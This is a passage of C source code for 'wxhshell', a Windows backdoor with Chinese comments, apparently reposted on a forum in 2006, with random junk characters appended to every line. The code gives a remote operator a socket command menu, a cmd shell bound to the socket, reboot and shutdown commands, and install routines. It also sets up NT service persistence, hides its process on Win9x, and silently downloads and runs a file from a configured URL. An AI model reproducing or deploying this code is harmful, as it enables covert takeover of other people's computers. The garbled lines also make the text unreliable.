  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); Oh6fj}eK  
  } Av V|(K"  
  else { ' AEE[  
56-dD5{hxR  
    switch(cmd[0]) { xCl1g4N  
  =uYYsC\T  
  // 帮助 !Bq3Z?xA}  
  case '?': { {w^+\]tC  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); dNL(G%Qj+"  
    break; M>ruKHipFE  
  } @8rx`9  
  // 安装 x!58cS*  
  case 'i': { Y+u_IJ  
    if(Install()) } .y 1;.  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .I0qGg  
    else Jk=I^%~  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); _k ~KZ;l  
    break; l &5QZI0I  
    } 1--C~IjJ+  
  // 卸载 A='N=^Pm  
  case 'r': { y^v6AM  
    if(Uninstall()) 0rG^,(3m  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); `gf0l /d  
    else .-oxb,/  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ?FF4zI~  
    break; kw %};;  
    } "PTZ%7YH}  
  // 显示 wxhshell 所在路径 .NC:;@y  
  case 'p': { x&Kh>PVh\  
    char svExeFile[MAX_PATH]; p &"`RS #Z  
    strcpy(svExeFile,"\n\r"); qUGC" <W  
      strcat(svExeFile,ExeFile); qjdMqoOCjl  
        send(wsh,svExeFile,strlen(svExeFile),0); (VEpVn3{  
    break; e MY<uqdw  
    } ah0`KxO]  
  // 重启 # ,_u_'C*!  
  case 'b': { ,-d 0b0  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); /-+xQn]  
    if(Boot(REBOOT)) ]cZ!y ~  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); cir$voL  
    else { 5aZ2j26  
    closesocket(wsh); 4DOH`6#an  
    ExitThread(0); "ZsOd>[/  
    } T)TfB(  
    break; 8xV9.4S  
    } $r8 ^0ZRr  
  // 关机 QoIT*!  
  case 'd': { vyX\'r.~7  
    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); r6} |hpJ8  
    if(Boot(SHUTDOWN)) Q)" Nu.m &  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); 7k9G(i[-+  
    else { 3|4|*6  
    closesocket(wsh); VE {3}S  
    ExitThread(0); EGzzHIZ`!  
    } ( b~T]3Es  
    break; 6ZG+ZHUC&  
    } !1DKLQ  
  // 获取shell =JbRu|/  
  case 's': { ``Dq  
    CmdShell(wsh); s!&#c`=  
    closesocket(wsh); 9c#+qH  
    ExitThread(0); p~^D\jR.  
    break; ke]Lw  
  } J^}V|#  
  // 退出 dx &'fe*?  
  case 'x': { L>W'LNXCv  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); n%C>E.Tq  
    CloseIt(wsh); [nc4{0aT'  
    break; >eqxV|]i  
    } t2I5hSf  
  // 离开 v99B7VH4  
  case 'q': { uRRQyZ  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); `V]5sE]G  
    closesocket(wsh); bE#,=OI$  
    WSACleanup(); )ufg9"\  
    exit(1); luuX2Mx>o  
    break; "2P&X  
        } WEQ1 Seq  
  } +HeTtFo{M  
  } V4P; 5[  
Gh}LlX!w  
  // 提示信息 Y*>#T  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); =Ja]T~0A  
} (\a]"g,]v  
  } W<$Z=(_v  
Iw&vTU=2  
  return; {fF3/tL  
} k*E\B@W>  
)- viGxJ@  
// shell模块句柄 36%nB*  
int CmdShell(SOCKET sock) xtE_=5$~  
{ qY<'<T4\  
STARTUPINFO si; 6c"0})p  
ZeroMemory(&si,sizeof(si)); jR2 2t`4  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; hMUs" <.  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; GCX G/k?w:  
PROCESS_INFORMATION ProcessInfo; E4W -hq~  
char cmdline[]="cmd"; 2FF4W54I  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); XKttZOiGT  
  return 0; i;jw\ed  
} u7[ykyV  
9:,\gw>F  
// 自身启动模式 %Nhx;{  
int StartFromService(void) ,TPISs  
{ g[I b,la_a  
typedef struct ang~<  
{ Xr2ou5zAn  
  DWORD ExitStatus; . DR<Te  
  DWORD PebBaseAddress; %K` % *D  
  DWORD AffinityMask; Y/ee~^YxK'  
  DWORD BasePriority; " '6;/N  
  ULONG UniqueProcessId; jbu8~\"  
  ULONG InheritedFromUniqueProcessId; 8p9bCE>\  
}   PROCESS_BASIC_INFORMATION; #u"k~La  
j>x-"9N  
PROCNTQSIP NtQueryInformationProcess; a /#PLP  
S<u-n8bv  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; =p?WBZT|:  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 4EZ9hA9+  
n9A7K$ZD@  
  HANDLE             hProcess; bQP{|  
  PROCESS_BASIC_INFORMATION pbi; ->O2I?  
W#BM(I  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); x~{;TZa[I  
  if(NULL == hInst ) return 0; 5ish\"  
{%{ `l-  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); @t`Xq1  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); gk+h8 LZ  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); }!/$M\w  
k.^co I5  
  if (!NtQueryInformationProcess) return 0; &f^l ^K 5:  
Jn3 An  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); *l;B\=KR  
  if(!hProcess) return 0; y^Kph# F"  
0B&Y ]*  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 1~ t{aLPz  
no] z1D  
  CloseHandle(hProcess); wUQw!%?>  
0iK;Egwm  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); {h2TD P  
if(hProcess==NULL) return 0; pT1[<X!<s  
S_v'hlrrT  
HMODULE hMod; Q7C;1aO  
char procName[255]; 4*mS y  
unsigned long cbNeeded; 6{+{lBm=y  
_5m#2u51i  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); w'fT=v)  
DUe&r,(4O  
  CloseHandle(hProcess); E)7F\w  
-gas?^`  
if(strstr(procName,"services")) return 1; // 以服务启动 199]WHc  
<~!Hx+j   
  return 0; // 注册表启动 Ck@J,~x1D  
} HJ[/|NZU$  
~7t$MF.  
// 主模块 ,4,V4 N  
int StartWxhshell(LPSTR lpCmdLine) 0}FOV`n  
{ /43-;"%>  
  SOCKET wsl; )a3J9a;ZS0  
BOOL val=TRUE; ,H2D  
  int port=0; f{i8w!O"~  
  struct sockaddr_in door; UH>F|3"d  
a/U2xq{x  
  if(wscfg.ws_autoins) Install(); G4;3cT3'  
Ppt2A6W  
port=atoi(lpCmdLine); 80Y\|)  
<~X>[PK<  
if(port<=0) port=wscfg.ws_port; gE hN3(  
@]c(V%x   
  WSADATA data; hj$ e|arB  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8kOKwEX  
N0w`!<y:c  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   HCJ>X;(`f?  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); f%)zg(YlO  
  door.sin_family = AF_INET; $GQ-(/  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); KdUnD4d  
  door.sin_port = htons(port); za9)Q=6FD  
)VK }m9Ae  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { Za7q$7F7Bc  
closesocket(wsl); P^Q[-e{  
return 1; maY4g&'f  
} sv(f;ib  
_#s=h_ FD  
  if(listen(wsl,2) == INVALID_SOCKET) { uV hCxUMQ  
closesocket(wsl); @a>2c$%  
return 1; GF:`>u{C  
} @@g\2Gs  
  Wxhshell(wsl); y"<))-MH  
  WSACleanup(); 8?O>ZZtu  
P;8>5;U4-  
return 0; Enq|Y$qm  
T<joR R  
} J5[~LZKW  
r-IVb&uF b  
// 以NT服务方式启动 deeU@x`f<  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) nL}5cPI  
{ <0.$'M~E  
DWORD   status = 0; tYqs~B3  
  DWORD   specificError = 0xfffffff; I.@hW>k  
qr50E[  
  serviceStatus.dwServiceType     = SERVICE_WIN32; X$b={]b  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; ORWm C!  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; &G>(9  
  serviceStatus.dwWin32ExitCode     = 0; H{c?lT  
  serviceStatus.dwServiceSpecificExitCode = 0; C#=bW'C  
  serviceStatus.dwCheckPoint       = 0; ]$ b<Gs  
  serviceStatus.dwWaitHint       = 0; vhT_=:x  
o{kbc5_  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); HygY>s+3[  
  if (hServiceStatusHandle==0) return; DtWwG C  
0g<K[mPr7  
status = GetLastError(); uw7{>9  
  if (status!=NO_ERROR) +wk`;0sA  
{ N_Af3R1_  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; ^, i>'T  
    serviceStatus.dwCheckPoint       = 0; F'?I-jtI  
    serviceStatus.dwWaitHint       = 0; ;C/bJEgdd  
    serviceStatus.dwWin32ExitCode     = status; +~U=C9[gj  
    serviceStatus.dwServiceSpecificExitCode = specificError; uH^ PQ  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); Hv<'dt$|  
    return; 5;TuVU.8Q  
  } x2#qg>`l  
s& {Qdf  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; PaCzr5!~f  
  serviceStatus.dwCheckPoint       = 0; >(tn"2  
  serviceStatus.dwWaitHint       = 0; B)h>8 {  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); F{\gc|!i  
} RQvVR  
kF V7l  
// 处理NT服务事件,比如:启动、停止 LDy<k=;o  
VOID WINAPI NTServiceHandler(DWORD fdwControl) @TA9V@?)  
{ +|%Sx  
switch(fdwControl) kDYN>``biP  
{ W;Jx<-#1  
case SERVICE_CONTROL_STOP: HT_TP q  
  serviceStatus.dwWin32ExitCode = 0; Y/8K;U|  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; cQZ652F9  
  serviceStatus.dwCheckPoint   = 0; 3Gr&p6  
  serviceStatus.dwWaitHint     = 0; q1hMmMi  
  { y466A]|  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); \Z-2leL)j  
  } } i)$n(A)K  
  return; Q\J,}1<`6  
case SERVICE_CONTROL_PAUSE: 4*UP. r@  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; 7yiJ1K<bIt  
  break; 6j8 <Q 2  
case SERVICE_CONTROL_CONTINUE: P8gX CX!>U  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; ^!;=6}YR  
  break; W)SjQp6  
case SERVICE_CONTROL_INTERROGATE: EZ(^~k=I  
  break; TL)O-  
}; r7!J&8;{K  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 2+9 2Q_+  
} DcV<y-`'1  
HrqF![_  
// 标准应用程序主函数 8h?X!2Nq  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) ._p""'Sa  
{ \w )?SVp  
76#.F  
// 获取操作系统版本 *"G8  
OsIsNt=GetOsVer(); N^elVu4 K  
GetModuleFileName(NULL,ExeFile,MAX_PATH); ~ |,e_ zA  
,R-Y~+!  
  // 从命令行安装 h <[+HsI  
  if(strpbrk(lpCmdLine,"iI")) Install(); `:-J+<`  
1}`LTPW9  
  // 下载执行文件 RyRqH:p)3  
if(wscfg.ws_downexe) { ~'  =lou  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) voRfjsS~  
  WinExec(wscfg.ws_filenam,SW_HIDE); <qiICb)~  
} _Nu` )m  
I Ru$oF}  
if(!OsIsNt) { }NX\~S"  
// 如果时win9x,隐藏进程并且设置为注册表启动 liNON  
HideProc(); Plz-7fy33  
StartWxhshell(lpCmdLine); ?'~;Q)  
} 1]/N2&  
else ,p,Du F  
  if(StartFromService()) U=o Z.\  
  // 以服务方式启动 a0zG(7.D  
  StartServiceCtrlDispatcher(DispatchTable); 8g5V,3_6  
else gB CC  
  // 普通方式启动 {>.>7{7  
  StartWxhshell(lpCmdLine); S+*cbA{J|  
;x>;jS.t  
return 0; y-`I) w%  
}
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只看该作者 1 发表于: 2006-10-10
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